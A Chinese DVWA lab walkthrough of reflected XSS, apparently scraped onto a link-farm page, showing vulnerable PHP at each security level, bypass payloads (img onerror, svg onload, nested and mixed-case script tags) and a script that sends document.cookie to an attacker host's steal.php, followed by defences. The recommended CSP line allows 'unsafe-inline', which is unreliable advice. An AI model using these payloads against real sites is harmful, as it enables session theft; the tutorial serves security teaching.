当前位置: 首页 > wzjs >正文

网站制作知名公司企查查在线查询

网站制作知名公司,企查查在线查询,如何把自己的网站推广,沃尔玛跨境电商平台目录 一、环境搭建与漏洞原理 1.1 反射型XSS原理 二、Low安全级别漏洞分析 2.1 漏洞代码分析 2.2 利用方式 三、Medium/High安全级别绕过 3.1 Medium级别防护分析 3.2 High级别防护分析 3.3 各级别防护对比 四、Impossible级别与防御方案 4.1 Impossible级别实现 4.…

目录

一、环境搭建与漏洞原理

1.1 反射型XSS原理

二、Low安全级别漏洞分析

2.1 漏洞代码分析

2.2 利用方式

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

3.2 High级别防护分析

3.3 各级别防护对比

四、Impossible级别与防御方案

4.1 Impossible级别实现

4.2 企业级防御方案

一、环境搭建与漏洞原理

1.1 反射型XSS原理

反射型XSS(Reflected XSS)特点:

  • 恶意脚本通过URL参数注入

  • 服务端未过滤直接嵌入到响应中

  • 需要诱导用户点击特定链接触发

  • 攻击效果是一次性的

漏洞产生流程:

攻击者构造URL → 用户点击 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本

二、Low安全级别漏洞分析

2.1 漏洞代码分析

<?php
header("X-XSS-Protection: 0");
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL){echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>

漏洞点:直接输出用户输入,无任何过滤

2.2 利用方式

基础Payload:

http://192.168.21.4/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

高级利用(窃取Cookie):

<script>
new Image().src="http://192.168.21.1/steal.php?cookie="+encodeURIComponent(document.cookie);
</script>

192.168.21.1服务器上收到cookie的值

图2.1 成功执行任意JavaScript代码

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>

发现进行了<script>过滤

绕过方法

  1. 大小写混淆:<ScRiPt>alert(1)</ScRiPt>

  2. 嵌套标签:<scr<script>ipt>alert(1)</script>

  3. 使用非script标签:<img src=x onerror=alert(1)>

3.2 High级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>
 

防护原理:使用正则表达式匹配并删除<script>标签及其变体

  • <(.*):匹配<后跟任意字符(包括无字符)

  • s(.)c(.)...:强制按顺序匹配s、c、r、i、p、t字母

  • /i:不区分大小写

绕过方法

  1. SVG标签:<svg/onload=alert(1)>

  2. 事件属性:<body onpageshow=alert(1)>

  3. 伪协议:<a href="javascript:alert(1)">click</a>

3.3 各级别防护对比

安全级别防护措施有效Payload示例
Low无过滤<script>alert(1)</script>
Medium移除<script>字符串<img src=x onerror=alert(1)>
High正则过滤script标签<svg/onload=alert(document.domain)>
Impossiblehtmlspecialchars转义无有效绕过方式

四、Impossible级别与防御方案

4.1 Impossible级别实现

<?php
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$name = htmlspecialchars( $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

htmlspecialchars防护原理

  • 将特殊字符转换为HTML实体

  • 例如:<&lt;"&quot;

4.2 企业级防御方案

  1. 输入验证(白名单原则):

    if(!preg_match('/^[a-zA-Z0-9]+$/', $input)){die("Invalid input");
    }

  2. 输出编码

    // HTML上下文
    htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
    ​
    // JavaScript上下文
    json_encode($str, JSON_HEX_TAG);

  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

    内容安全策略(CSP)详解:Web安全的关键防线-CSDN博客

  4. 现代前端框架防护

    • React/Vue/Angular默认自动转义

http://www.dtcms.com/wzjs/384703.html

相关文章:

  • wordpress安装ssl后网站404地产渠道12种拓客方式
  • windos 下做网站工具太原seo代理商
  • 上海专业网站建设咨询网络营销方式包括哪些
  • 做普通网站价格南宁seo专员
  • 网站建设郑州实体店怎么引流推广
  • 17模板网网页seo技术分享博客
  • 交互式网站公安备案怎么做营销推广有哪些形式
  • wordpress模板自媒体成都百度网站排名优化
  • 做网站初始配置什么是网络营销含义
  • 网页与网站设计免费的网站软件
  • 柳州哪里有网站建设快速刷排名seo软件
  • 什么系统做网站最安全百度网盘pc网页版入口
  • 崇明网站怎么做seo品牌推广渠道
  • wordpress网页手机自适应seo网站内容优化有哪些
  • 温州的网站建设公司广州优化公司哪家好
  • 项目招商网站大全建立网站
  • 网站导流应该怎么做广州推广优化
  • 12306网站建设 实际seo查询官网
  • 白糖贸易怎么做网站搜索引擎优化要考虑哪些方面?
  • 贵阳营销网站建设公司互联网营销师报名入口
  • 沈阳公司网站制作seo常规优化
  • wordpress建站要钱么b站推广2024mmm已更新
  • 1688做网站费用网站模板之家免费下载
  • 南京网络营销课程培训福州seo网站排名
  • 网站后台密码是什么seo关键词怎么选择
  • 做企业网站的要点搜索引擎有哪些?
  • 为什么网站要友情链接指数运算公式大全
  • 外汇直播室都是网站做的百度谷歌seo优化
  • 营销型建设网站sem和seo的区别
  • 东圃手机网站建设电话现在最火的发帖平台